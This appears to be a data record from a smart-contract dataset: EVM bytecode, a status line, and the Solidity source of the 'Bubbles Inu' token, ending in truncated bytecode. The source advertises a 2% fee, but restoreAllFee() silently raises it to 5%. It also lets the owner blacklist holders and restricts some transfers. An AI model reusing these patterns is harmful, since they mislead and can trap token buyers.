0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806313dc01bb146101e057806318160ddd146101f757806323b872dd14610222578063313ce567146102a7578063378dc3dc146102d257806342966c68146102fd578063661884631461032a57806370a082311461038f5780638da5cb5b146103e657806395d89b411461043d578063a9059cbb146104cd578063d73dd62314610532578063dd62ed3e14610597578063f2fde38b1461060e575b600080fd5b3480156100f757600080fd5b50610100610651565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068a565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561077c565b005b34801561020357600080fd5b5061020c6107dd565b6040518082815260200191505060405180910390f35b34801561022e57600080fd5b5061028d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e3565b604051808215151515815260200191505060405180910390f35b3480156102b357600080fd5b506102bc610acf565b6040518082815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610ad4565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b5061032860048036038101908080359060200190929190505050610ae2565b005b34801561033657600080fd5b50610375600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c45565b604051808215151515815260200191505060405180910390f35b34801561039b57600080fd5b506103d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b3480156103f257600080fd5b506103fb610f1f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044957600080fd5b50610452610f45565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610492578082015181840152602081019050610477565b50505050905090810190601f1680156104bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104d957600080fd5b50610518600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7e565b604051808215151515815260200191505060405180910390f35b34801561053e57600080fd5b5061057d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611154565b604051808215151515815260200191505060405180910390f35b3480156105a357600080fd5b506105f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611350565b6040518082815260200191505060405180910390f35b34801561061a57600080fd5b5061064f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d7565b005b6040805190810160405280600481526020017f424b424b0000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6008600a0a632cb41780026000819055506008600a0a632cb4178002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561082257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506108f383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152f90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109de838261152f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a632cb417800281565b60008082111515610af257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b4057600080fd5b339050610b9582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bed8260005461152f90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d56576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dea565b610d69838261152f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f424b424b0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fbb57600080fd5b61100d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152f90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111e582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561146f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561153d57fe5b818303905092915050565b600080828401905083811015151561155c57fe5b80915050929150505600a165627a7a72305820d850d450788a243c29a24c053bf5094a794d4c25bc89d0df12674cab984966b50029
|
{"success": true, "error": null, "results": {}}
| 7,903 |
0x963bfd4e05432445bae06e2ffa1b399d583921eb
|
//Bubbles Inu ($BUBINU)
//2% Deflationary yes
//Telegram: https://t.me/bubblesinuofficial
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BubblesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bubbles Inu";
string private constant _symbol = "BUBINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f427562626c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f425542494e550000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020